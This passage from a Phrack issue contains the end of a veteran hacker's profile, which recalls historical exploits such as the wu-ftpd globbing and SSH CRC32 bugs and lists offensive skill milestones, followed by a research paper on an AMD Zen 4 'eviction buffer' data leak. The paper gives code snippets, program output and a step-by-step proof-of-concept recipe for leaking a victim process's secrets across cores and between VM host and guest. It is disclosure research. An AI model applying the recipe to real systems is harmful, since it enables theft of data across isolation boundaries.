Not the vulnerability, but the exploit. I was writing exploits for Core IMPACT, and need to get it to work always. It was tricky, because getting the double free to do a write‑anything‑anywhere depended on the heap state which has to be assumed dirty, though who used dtlogin? Target: Solaris running on SPARC. It was also a great time, because one of my friends‑idols Halvar was in town visiting, and sitting in a crappy chair at Core, working on his bindiff, showing me early versions, and introducing me to yED (thanks for that!). So, I had the problem of getting a reliably heap exploit, and I started logging all traces (long life dtrace & truss), but it was impossible to follow in text, so I hacked a GUI to show heap movements (eventually released as HeapDraw / HeapTracer just when Alex Sotirov released his Heap Feng Shui with an obviously much trend name). Also found how to turn the double‑free in an information leak, that allowed me to get pointers (read‑anything primitive), to finally get a very reliable exploit. I remember how I enjoyed writing the exploit and the power that a new tool gave me, we needed lots more tools! Oh, wow, writing this I found a screenshot of HeapTracer showing dtloginâ€™s heap, I canâ€™t believe how I remember the shape and what each block is. Yeah, this one definitely deserves a mention.

== CVE‑2001‑0550 ‑ wu‑ftpd gobbing heap overflow (arbitrary free)

Oh my god, that was a good one, the advisory even names Phrack 57! This time is the exploit, not the vuln Not my own exploit though. I had a quite reliable exploit, if Iâ€™m not inventing my memories, but it was irc.segfault.org golden times, and I was there with amazing people.

Thatâ€™s when I met MaXX, one of my favorite Phrack authors, who wrote on Vudu malloc tricks, but who clearly understood free() tricks too. We then worked together and are good friends, those were some of the best times. He showed me his wu‑ftpd exploit (or maybe he took my unfinished crappy code and turned it into art?).

Anyway, for it to work, you had to craft a globbing pattern (*.*) so when expanded you got an arbitrary free, and you could write what you wanted where you wanted. You could be lazy, like me, and bruteforce the right count ~{,,,,,,,,,...}, or you could really think about it (like he did, and just remembered now), and figure out that if you could do more than a single write and if you expressed the count in prime factors, you could have a really compact globbing pattern that got expanded to overwrite really large area. So yeah, he taught me art is a way of living, among many other things.

== CVE‑1999‑1085 ‑ SSH CRC32 compensation attack

The original vulnerability (yes, Iâ€™m old, what can I remember if not old things?). The vulnerability is that, without knowing the cryptographic material, itâ€™s possible to craft an ssh packet that will pass CRC32 validation in such a way that it allows a MitM to insert â€œkeystrokesâ€ in the ssh stream. Itâ€™s a quite complex (at the time) cryptographic attack that, with exploit in hand to demonstrate its power, forced all ssh implementations, in every device and distro, to be updated with our code, as we were starting to be known as Core SDI. Great score!

== CVE‑2001‑0114 ‑ SSH CRC32 compensation attack integer overflow

Yes, almost the same name as the previous... It turned out that the final patch for CVE‑1999‑1085 had an integer overflow vulnerability, which was exploitable to get root access to any ssh server using the code. The exploit was assigned to me (I was assigned at the time :‑p ) and it turned out to be really challenging. At some point you had to exploit the original vulnerability, luckily I had the original exploit from 1998 by Futo and Ek, so I didnâ€™t have to break my head doing it. I got it working, and some time later I found another exploit in the wild (I knew it as x1), that was very similar (but previous apparently), and had a different solution to the original bug. My total admiration to whoever solved the CRC32 compensation to implement this other exploit. I remember I was really afraid we had inserted this bug in every device, and at the same time, I wished we did it on purpose. So I went down fishing the original email exchange to find that it was the original ssh team, when converting from ANSI types to their type notation, that inserted the bug, but we didnâ€™t notice they had changed it. Or maybe we did but didnâ€™t say? I donâ€™t think so, I should remember!

== BUGWEEK

Ah, what a great time of the year! We used to take a week at Core, every year, so everyone in the company (yes, EVERYONE), got in teams to find vulnerabilities. Many stupid and great advisories came out of it. I remember one in MySQL authentication that required solving some geometry problem for exploitation.

== BUGDOOR

A hide and seek contest. Another great time of the year, though we only did it a couple times. It was a competition where everybody got a task (say, â€œwrite a software that does this and thisâ€), and had to hide a bugdoor (AKA backdoor). You got points for finding out other peopleâ€™s bugdoors, and got (negative) points for each one that found your bugdoor. Go play it!

|=‑‑‑=[ Will mitigations eventually make exploitation impossible?

Hah! We asked ourselves the same question in 2001 with StackGuard and StackShield, but the answer was obviously â€œnoâ€ (see papers). Then again with ASLR, x^w, stack canaries, heap canaries, pointer canaries, guard pages, virtualization... I donâ€™t think itâ€™ll make it impossible, but it has, already, made it hard, and that means, more expensive, what means: only for a few that can pay for it.

As a user, and friend of users, and worried about users, Iâ€™m all for protections. I think it does make a difference. It raises the bar, and makes attackers really think before attacking. Thereâ€™s more chance of being detected and of getting your exploit or technique screwed.

This all is â€œgoodâ€.

Bad is that itâ€™s harder and harder to get started in exploit writing, and less and less satisfactory as you learn. When I wrote the ABOs back in a forked past, there were just no protections. It was easy, the challenge was in figuring out how to use the hidden menu option (AKA exploit the bug). But then, as we used ABOs to warm up new exploit writers at Core, it got harder and harder. I loved seeing the solutions running on newer and protected operating systems. Many times, completely different from what I originally intended. I canâ€™t think what somebody starting today could do with the ABOs running on a current OS. So, bad: it makes it harder for the general public to learn exploitation, it raises the bar, it makes it more expensive (needs more time to dedicate, and a serious interest). It may require dedicated training camps, and paid students.

Bad is also that once you know the techniques, writing a particular exploit is increasingly hard (the 9 chained bugs to get root), which makes them more expensive, i.e. only for a few.

So, I love protections, all my serious admiration to pipacs, the pax team, and all his other handles (see Phrack 62), for pushing everybody else to think on OS protections, including Theo and Microsoft. But protections leave space for power inequalities, as the fewer who can bypass them, have more power than before... no, I donâ€™t see any solution, sorry.

Will they make exploitation impossible? Yes, for many they will, for others, never.

|=‑‑‑=[ Would you recommend newcomers to contribute to open source projects?

Totally! Why not? I wish I had time and energy to do more of that. Iâ€™m all for full disclosure, even of exploits. And all for contributing.

Contributing back to OS is sort of the easiest way to get your code maintained :‑p (not quite). Commercially you may think that â€œgiving upâ€ your code for free is not a good idea, but it comes back, and sometimes surprisingly soon. Itâ€™ll get you a job, thatâ€™s for sure, but it could also become an income by itself.

But then, also, and more seriously (if anybody needed to get serious), itâ€™s fine to do things just because you can. We used to answer exactly that

Why do you do that?!

>>> Because I can <<<

Technology has a significant impact. At some point, I began thinking about how my work could help people and make their lives better, even just a little bit. You never know what people will find useful, and the feedback you receive when you release something is a great feeling: the realization that someone is actually using what you created.

|=‑‑‑=[ Your opinion in the infosec scene now vs then

All mercenaries. Donâ€™t get me started. Not really, not everybody. But that catches my feelings. When the big money entered the scene, we all lost friends and stopped sharing as much as before. The flow of information slowed down, though we still have Phrack, Ekoparty, H2HC, Defcon and the others, it doesnâ€™t feel the same. Maybe the great techniques were always kept secret and surfaced only 20 years later, but it seems worse than before.

Science and technology can have real‑world impact. If you saw the movie, you believe scientists were aware of the impact of their research, some rebelled against it, some understood the consequences but decided to do it anyway (for their reasons). But it seems they stopped to think. Are we thinking and discussing it at least? Itâ€™s only mutually assured destruction that still today keeps us safe, so maybe thatâ€™s what we should aim for: democratization of hacking and espionage tools, to keep the balance.

Itâ€™s not fair, thereâ€™s still a lot of people believing in full disclosure for a better World, and they do a great job at it. My special admiration and respect to â€œThe Qualys Security Teamâ€, who keeps showing art and dedication in every single advisory.

My respect too to Googleâ€™s Project Zero. There should be an invite only conference on 0‑day hunting, where these heroes share their experience and fishing techniques. Kill the class, not the single bug, or better fix both.

And Kill the 0‑day!

|=‑‑‑=[ Your opinion on conferences?

My last one was H2HC/24, and yes, it was big, with lots of people, and I loved it. Defcon has gone huge a long time ago, and it has always been a matter of luck to catch a good talk without missing another, but itâ€™s usually easy to find somebody interesting to talk to, if you are willing to let it happen. Though maybe too many things happen around and outside the conferences, and thatâ€™s completely out of reach for most of the mortals.

So, maybe, short version: Abolish all â€œproduct salesâ€ talks, get demanding on technical content, and squeeze in a few talks that make the audience step back and think at a higher level. Then turn on the music and throw a party.

Oh, and more hardware, we need more hardware and to simplify access to hardware hacking!

|=‑‑‑=[ Recommendations

Technical Books:

* Phrack. 40 years of fun and profit. Hard cover.

* Computational Geometry ‑ Algos and Apps ( <3 sweeping line <3 ) * Thirty Years Later: Lessons from the Multics Security Evaluation

Non‑Technical Books:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I have a serious problem and I can rarely go past the first couple chapters of non sci‑fi non technical books, though I keep trying. So, my short and totally unfair list (of not so known books): Babel‑17, ME (by Thomas T. Thomas), maybe Rainbows End and Makers more mainstream and â€œTlÃ¶n, Uqbar, Orbis Tertiusâ€ (my favourite from â€œFiccionesâ€).

|=‑‑‑=[ Reflections

Hacker Spirit:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Understanding how things work, finding a way around limits, and sharing it with others, to make understanding easier, Loop. The three things together. On the attackers side, thereâ€™s too much money for a healthy competition and open sharing, MAYBE itâ€™s easier on the defender's side.

Kill the 0‑day!

Exploit Industry:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The monetization of the vulns and exploit has clearly made the power imbalance even worse and broke the flow of information. The way out IMHO, is to double up and openly share even more. It may get worse at first, but itâ€™ll be positive at the end.

Career Burnout:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I left security to go do satellites, to then come back. It was also great to move to the defenders side, and see things from a different PoV. Donâ€™t be afraid of going out of your comfort zone. If you love learning and doing new stuff, then, do new stuff and learn. Â¯\_(ãƒ„)_/Â¯

|=‑‑‑=[ Insights

Hacking Milestones:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Learn assembly and solve all CTFs you find online, before 20. Write ASCII self decoding shellcode, extract data from a blind SQL injection, write a remote shell client‑server over a non‑standard protocol (icmp, dns, etc), use gdb to install a backdoor in a running nginx and OllyDbg to do the same in Windows, without touching the filesystem, implement a known Cryptographic primitive, understand rainbow tables, implement a TCP/IP stack, solve some of the advanced cracking challenges by ricnar and most ABOs, write a remote heap overflow that always works, reverse engineer an unknown server with crypto back to C, implement its client in python... all before you are 25.

ITâ€™s not my story, but a HACKER needs to be the best in every discipline, or keep trying. And remember, with great power comes great fun, and also some responsibility.

Nontraditional Hacking:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Lying when they ask me for personal information they donâ€™t really need. Itâ€™s stupid, but it takes practice to lie when they ask your name or your birth date, and you may need to remember what you said: practice it, pollute DBs. I also love hacking toys for my kids (adding a RC, etc) and fixing things that broke.

The "Art" of Hacking:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Understanding things better than their creators to find the hidden menu options they didnâ€™t know they put there.

|=‑‑‑=[ Personal

Other Interests: Electronics! Woodworking. Making things. Creating Tech. Philosophy: If it has a solution, itâ€™s not a problem. And if it doesnâ€™t, why worry at all? Carpe Diem, totally, during the night when Iâ€™m statistically more productive. Zines: Conferences are ephemeral. Zines are forever, and the articles are usually well thought. A blog is fine, but without an editor pushing you to get it done, the quality degrades over time.

|=‑‑‑=[ Quotes

Yes: Backticks, please, best quotes ever.

And maybe:

â€œI want room service!â€ ‑ standing on a pile of trash.

Though the written story is better than the movie.

|=‑‑‑=[ Closing Thoughts

CALL $+4

RET

POP EBX

Linenoise

==Phrack Inc.==

Volume 0x10, Issue 0x48, Phile #0x03 of 0x12

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ L I N E N O I S E ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Phrack Staff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Linenoise is a collection of artifacts that do not fit elsewhere. Short papers, corrections, brain dumps, late papers, etc..... :))

Contents

1 ‑ Barbie Sparkles ‑‑ Barbie

2 ‑ Another use for the EICAR test file ‑‑ Peter Ferrie

3 ‑ Hacker: Apotheosis of the Marginalized ‑‑ Kolloid

4 ‑ A Hacker's Introduction To CHERI ‑‑ xcellerator

5 ‑ High‑Performance Network Scanning With AF_XDP ‑‑ c3l3si4n

6 ‑ MMIO in the Middle ‑‑ b1ack0wl

7 ‑ Shell Your Way to Network Mastery ‑‑ Gabriel & Thomas

8 ‑ Breaking ToaruOS ‑‑ NOT / Firzen,

Binary Gecko

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ 1 ‑ Barbie Sparkles ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ barbie ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ phrack@barbieauglend.re ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ 0 ‑ Introduction

For a long time, data stored in microarchitectural buffer‑like structures' behaviors were believed to be strictly internal to the CPU and protected by architectural mechanisms built into modern CPUs, many of them lacking detailed public documentation. Since 2018 following Microarchitectural Data Sampling (MDS) attacks [1] the security community discovered that the contents of such buffers might be inferred or even, under the right circumstances, directly leaked using e.g., faulting load instruction or in the shadow of transiently executed flows. These techniques might allow attackers to bypass such architectural mechanisms and other hardware mitigations, e.g. buffer clearing or overwriting.

Lots of such microarchitectural buffers have been documented publicly by now, as well as mitigations have been deployed on newer hardware with this new threat model in place by most CPU vendors. Unfortunately, we show that not all CPU vendors have adopted this new threat vector into their threat model, and some newer architectures are being released having such dangerous behaviors documented.

In this article, we show that it is possible to observe stale data from previously evicted cache entries from an undocumented microarchitectural buffer, which we are calling eviction buffer. More specifically, AMD Zen 4 platforms might enable a malicious process to observe data that is previously evicted from a victim process, even if the same victim process has been previously terminated.

Moreover, unlike most of prior data inference attacks from microarchitectural buffers, this behavior has been documented in the official â€œAMD Zen4 Microarchitecture Documentationâ€ and AMD does not consider a security concern.

‑‑[ 1 ‑ Background

‑‑[ 1.1 ‑ Memory Types and Performance Optimizations

Modern CPUs support multiple memory types that are configurable by the OS and might be configurable by the VMM. These types enforce the cache policy used. There are cacheable memory types like write‑back (WB), write‑through (WT), and write‑protect (WP), and uncacheable memory types like uncacheable (UC) and write‑combining (WC).

The standard page created by the OS for userland applications are WB, which allow values to be cached and are written back to the memory when there is bandwidth for it and the memory in case is not being actively used and updated.

‑‑[ 1.2 ‑ Write‑Combining

Write‑Combining (WC) is a memory performance optimization technique, which allows for the combination of multiple write operations into a single transaction, which can then be written to memory in a more efficient manner, reducing the number of bus requests required for the write operations.

For this, the CPU keeps the modified data of all store operations to a specific cache line in an internal buffer, until the data can be committed to the memory. Then, the data is flushed from the buffer and committed to external memory.

We also note, the __Software Optimization Guide for the AMD Zen4 Microarchitecture (ver. 57647, from January 2023)__ describes in 2.13.3 Write Combine Buffers the improvements to performance made using their aggressively combined write buffers.

‑‑[ 1.3 ‑ Microarchitectural Buffers

Lots of different microarchitectural structures are used in modern CPUs to store data in‑transit. Many of such structures have been publicly documented and some of them have been even reverse engineered. At the same time, there are several prior research exploring the leakage or inference of data from internal CPU buffers, include Fallout [2], Zombieload [3], and RIDL [4]. Each of such attacks target a different buffer, e.g. store buffers, load buffers, and fill buffers.

Since the security community identified such behaviors, mitigations have been deployed on newer hardware having in mind that such buffers should also be treated as containing assets in their threat model.

In this work, we have identified an undocumented microarchitectural buffer, which seems to be handling previously evicted cache entries, when such entries have been tagged as belonging to uncacheable memory. We are calling this undocumented microarchitectural structure the _eviction buffer_.

‑‑[ 2 ‑ barbieSparkles

At the high‑level, barbieSparkles may load data from unintended evicted cache entries from the eviction buffer after we change the memory type to WC. We were able to see this behavior bypassing context boundaries such as cross threads, cross cores, and even VM host to guest.

‑‑[ 2.1 ‑ Eviction Sets

A precondition for barbieSparkles is that the attacker is able to evict cache entries from the victim process. There is numerous research in this area, ranging from reverse engineering cache sets to a more brute‑force style.

‑‑[ 2.2 ‑ Memory Type Change

Normally, only OS and VMM software have permissions to change the memory type of a specific page. For our proof‑of‑concept, we use the PTEditor library [5]. PTEditor is a library that enables modification of page‑table levels, change memory types, and other memory manipulation actions through user level APIs provided by a Linux Kernel Module.

‑‑[ 2.3 ‑ First Sparkle

Our first sighting of a sparkle occurred by chance, and it was unexpected. We wanted to check if we can modify the memory type from cacheable memory and validate a cache poisoning behavior. There are many reasons why a modern CPU invalidates and poisons cache lines. And if one is playing with memory types, why not just check also uncacheables one? And there it was, when changing the memory type of a process from a cacheable one to WC. Following the first time spotting it, we began our research by implementing various tests which could give us one or more insights on what and why it was happening. The first test was not perfect:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

// Populate the cache with cache lines from a WB page by performing normal

loads

memset(buf_targetsrc, 0x33);

// Load a secret in a buffer by performing normal loads

memset(buf_secret, secret_val);

// Change the memory type of the page to WC

entry.pte = ptedit_apply_mt(entry.pte, wc_mt);

// Read from memory corresponding to an entry in the cache.

targetsrc_val = *(volatile uint32_t*) buf_targetsrc;

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

We could see some sparkle, but it wasn't clear where and why:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

(...)

result targetsrc val: 0x0, access time: 1440

result targetsrc val: 0x0, access time: 495

result targetsrc val: 0x0, access time: 540

result targetsrc val: 0x33333333, access time: 675 // the stale value

result targetsrc val: 0x0, access time: 540

result targetsrc val: 0x42, access time: 495 // the secret value

result targetsrc val: 0x0, access time: 495

result targetsrc val: 0x0, access time: 1485

result targetsrc val: 0x0, access time: 540

(...)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

So, we went for more statistical testing. Running the code 100 times in a loop of 512 iterations, we would get from 1 to 2 digits hits on the secret. This isn't enough though. If we can see data that isn't supposed to be there, then we want to see it all the time, right?

‑‑[ 2.4 ‑ I See Sparkles EVERYWHERE

From there, we started to check different contexts, trying to figure out from where the leakage was coming from. We decided to test if we could leak cross threads in hyperthreading system.

Check the pairs:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ cat /sys/devices/system/cpu/cpu*/topology/thread_siblings_list

0,8

2,10

3,11

4,12

5,13

6,14

7,15

1,9

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

And we test two siblings:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ ./barbiesparkles ‑c 2 ‑s 42424242 ‑n 512 ‑I 100 | grep result (...)

result targetsrc val: 0x42424242, access time: 495

result targetsrc val: 0x42424242, access time: 1440

result targetsrc val: 0x42424242, access time: 540

result targetsrc val: 0x0, access time: 495

result targetsrc val: 0x0, access time: 540

result targetsrc val: 0x42424242, access time: 495

result targetsrc val: 0x33333333, access time: 495

result targetsrc val: 0x42424242, access time: 540

result targetsrc val: 0x42424242, access time: 495

(...)

$ ./barbiesparkles ‑c 10 ‑s 41414141 ‑n 512 ‑I 100 | grep result (...)

result targetsrc val: 0x42424242, access time: 540

result targetsrc val: 0x42424242, access time: 540

result targetsrc val: 0x42424242, access time: 540

result targetsrc val: 0x0, access time: 540

result targetsrc val: 0x42424242, access time: 540

result targetsrc val: 0x42424242, access time: 495

result targetsrc val: 0x42424242, access time: 540

result targetsrc val: 0x0, access time: 540

result targetsrc val: 0x42424242, access time: 630

result targetsrc val: 0x0, access time: 540

result targetsrc val: 0x0, access time: 540

result targetsrc val: 0x41414141, access time: 495

result targetsrc val: 0x41414141, access time: 495

result targetsrc val: 0x42424242, access time: 540

result targetsrc val: 0x42424242, access time: 495

result targetsrc val: 0x42424242, access time: 495

result targetsrc val: 0x41414141, access time: 540

result targetsrc val: 0x0, access time: 495

result targetsrc val: 0x41414141, access time: 540

result targetsrc val: 0x8, access time: 495

result targetsrc val: 0x42424242, access time: 540

result targetsrc val: 0x42424242, access time: 540

(...)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This shows that whatever buffer we are leaking from, it is shared within the core at least. Next step, can we leak cross‑core?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ ./barbiesparkles ‑c 2 ‑s 43434343 ‑n 512 ‑I 100 &>/dev/null

$ ./barbiesparkles ‑c 3 ‑s 44444444 ‑n 512 ‑I 100 | grep result result targetsrc val: 0x43434343, access time: 540

result targetsrc val: 0x0, access time: 540

result targetsrc val: 0x43434343, access time: 540

result targetsrc val: 0x0, access time: 540

result targetsrc val: 0x43434343, access time: 495

result targetsrc val: 0x44444444, access time: 495

result targetsrc val: 0x43434343, access time: 585

result targetsrc val: 0x0, access time: 585

result targetsrc val: 0x43434343, access time: 540

result targetsrc val: 0x43434343, access time: 540

result targetsrc val: 0x43434343, access time: 540

result targetsrc val: 0x44444444, access time: 495

result targetsrc val: 0x44444444, access time: 495

result targetsrc val: 0x0, access time: 495

result targetsrc val: 0x43434343, access time: 585

result targetsrc val: 0x0, access time: 540

result targetsrc val: 0x33333333, access time: 495

result targetsrc val: 0x43434343, access time: 495

result targetsrc val: 0x43434343, access time: 540

result targetsrc val: 0x0, access time: 495

(...)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Huh, so our buffer is shared across all cores? Nice! We also observe that we still have some hits for the value we store in the targetsrc (0x33333333), even if it is a lower hit rate than the secret value. To force the architectural value to be committed, we flush the cache before we change the memory type:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

// Populate the cache with cache lines from a WB page by performing normal

loads

memset(buf_targetsrc, 0x33);

// Load a secret in a buffer by performing normal loads

memset(buf_secret, secret_val);

// Evict the cache

flush(buf_targetsrc);

// Change the memory type of the page to WC

entry.pte = ptedit_apply_mt(entry.pte, wc_mt);

// Read from memory corresponding to an entry in the cache.

targetsrc_val = *(volatile uint32_t*) buf_targetsrc;

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

With that, we now have actual 100% hits on the architectural (0x33) value. This seems deterministic enough to me.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ ./barbiesparkles ‑c 2 ‑s 42424242 ‑n 512 ‑I 100 | grep result (...)

result targetsrc val: 0x33333333, access time: 540

result targetsrc val: 0x33333333, access time: 495

result targetsrc val: 0x33333333, access time: 540

result targetsrc val: 0x33333333, access time: 495

result targetsrc val: 0x33333333, access time: 540

result targetsrc val: 0x33333333, access time: 540

result targetsrc val: 0x33333333, access time: 585

result targetsrc val: 0x33333333, access time: 585

result targetsrc val: 0x33333333, access time: 540

(...)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

But remember that we were reading the data AFTER changing the memory type to WC, which assumes that the data shouldn't be present in the cache anymore. Just to be sure that we are seeing the current architectural value of targetsrc, we overwrite it with 0x11 and re‑run the tests:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

// Populate the cache with cache lines from a WB page by performing normal

loads

memset(buf_targetsrc, 0x33);

// Load a secret in a buffer by performing normal loads

memset(buf_secret, secret_val);

// Evict the cache

flush(buf_targetsrc);

// Overwrite buffer with a dummy value

memset(buf_targetsrc, 0x11);

// Change the memory type of the page to WC

entry.pte = ptedit_apply_mt(entry.pte, wc_mt);

// Read from memory corresponding to an entry in the cache.

targetsrc_val = *(volatile uint32_t*) buf_targetsrc;

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

... and nope. What we are seeing isn't the architectural value ‑ it is the evicted stale value:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ ./barbiesparkles ‑c 10 ‑s 42424242 ‑n 512 ‑I 100 | grep 0x33333333 | wc ‑l 100

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

And again, 100% of the hits. Even if we flush the targetsrc buffer (with value 0x33) and overwrite it with the new value (0x11) we still get 100% hits on the value 0x33. We have in place stale data!

To confirm that we are seeing only evicted data, we flush it right after overwriting it with 0x11 or after changing the memory type (it doesn't seem to matter at all) and re‑run the test:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ ./barbiesparkles ‑c 10 ‑s 42424242 ‑n 512 ‑I 100 | grep 0x11111111 | wc ‑l 100

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ 2.5 ‑ Finding The Sparkles Source

We started the obvious tests, for example, we mapped the secret buffer pages to the same physical page and that gave us, zero, nada hits, confirming that this wasnâ€™t leaking due to a stale TLB entry. After tons of such tests, we realized we donâ€™t actually know the microarchitectural structure where the is leak coming from, so we are started calling it the â€œeviction bufferâ€.

To leak the stale data, there must be a full physical address tag hit on the eviction buffer. We wrote a PoC for this behavior by tracking the physical memory address throughout the tests and then matching the secret addresses with their respective tags.

To get the physical address, we used PTEditor built‑in function ptedit_pte_get_pfn, which returns the â€“ as you might expect â€“ the page‑frame number.

‑‑[ 3 ‑ Sparkle PoC Recipe

If you want to see your Zen4 platform sparkling for yourself:

1. Create two processes â€“ one is the victim, one is the attacker.

a. The victim allocates a memory buffer and writes a secret value to it.

Then, the victim overwrites the secret in memory, frees the allocated buffer, and exits (yeap, the process doesnâ€™t need to be running)!

b. The attacker allocates memory in order to reclaim the same physical pages previously used by the victim to write the secret. You can choose your own version for this â€“ allocating tons of memory is legit :)

2. The attacker marks the reclaimed memory as WC and flushes the TLB (making sure that the TLB entry is up‑to‑date).

3. The attacker reads the memory and gets the secret â€“ all sparkling! Serving options:

‑ Overwrite the secret in the victim and terminate the victim process:

The attacker is able to leak the secret even if the secret value was previously overwritten architecturally.

‑ Run the victim and the attacker processes in the same core (sibling threads), in any neighboring core (in the same CPU), or leak between host and guest virtual machine.

‑ Try it out mixing and matching domains, e.g., VM host and guest

‑‑[ 4 ‑ Reading the Funny Manual

It is important to note before we let you go that the __AMD64 Architecture Programmer's Manual Volume 2: System Programming__ (https://www.amd.com/

system/files/TechDocs/24593.pdf) actually documents that we should not play and switch between cache policies of a specific physical page, quoting:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

7.8.7 Changing Memory Type

A physical page should not have differing cacheability types assigned to it through different virtual mappings; they should be either all of a cacheable type (WB, WT, WP) or all of a non‑cacheable type (UC, WC).

Otherwise, this may result in a loss of cache coherency, leading to stale data and unpredictable behavior.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

So, please you all behave, and follow the manual â€“ otherwise, there will be sparkles.

‑‑[ 6 ‑ References

[1] Intel Corp. (2021‑03‑11). "Microarchitectural Data Sampling." [2] Minkin, Marina; Moghimi, Daniel; Lipp, Moritz; Schwarz, Michael; Van Bulck, Jo; Genkin, Daniel; Gruss, Daniel; Piessens, Frank; Sunar, Berk; Yarom, Yuval (2019‑05‑14). "Fallout: Reading Kernel Writes From User Space" [3] Schwarz, Michael; Lipp, Moritz; Moghimi, Daniel; Van Bulck, Jo; Stecklina, Julian; Prescher, Thomas; Gruss, Daniel (2019‑05‑14). "ZombieLoad: Cross‑Privilege‑Boundary Data Sampling"

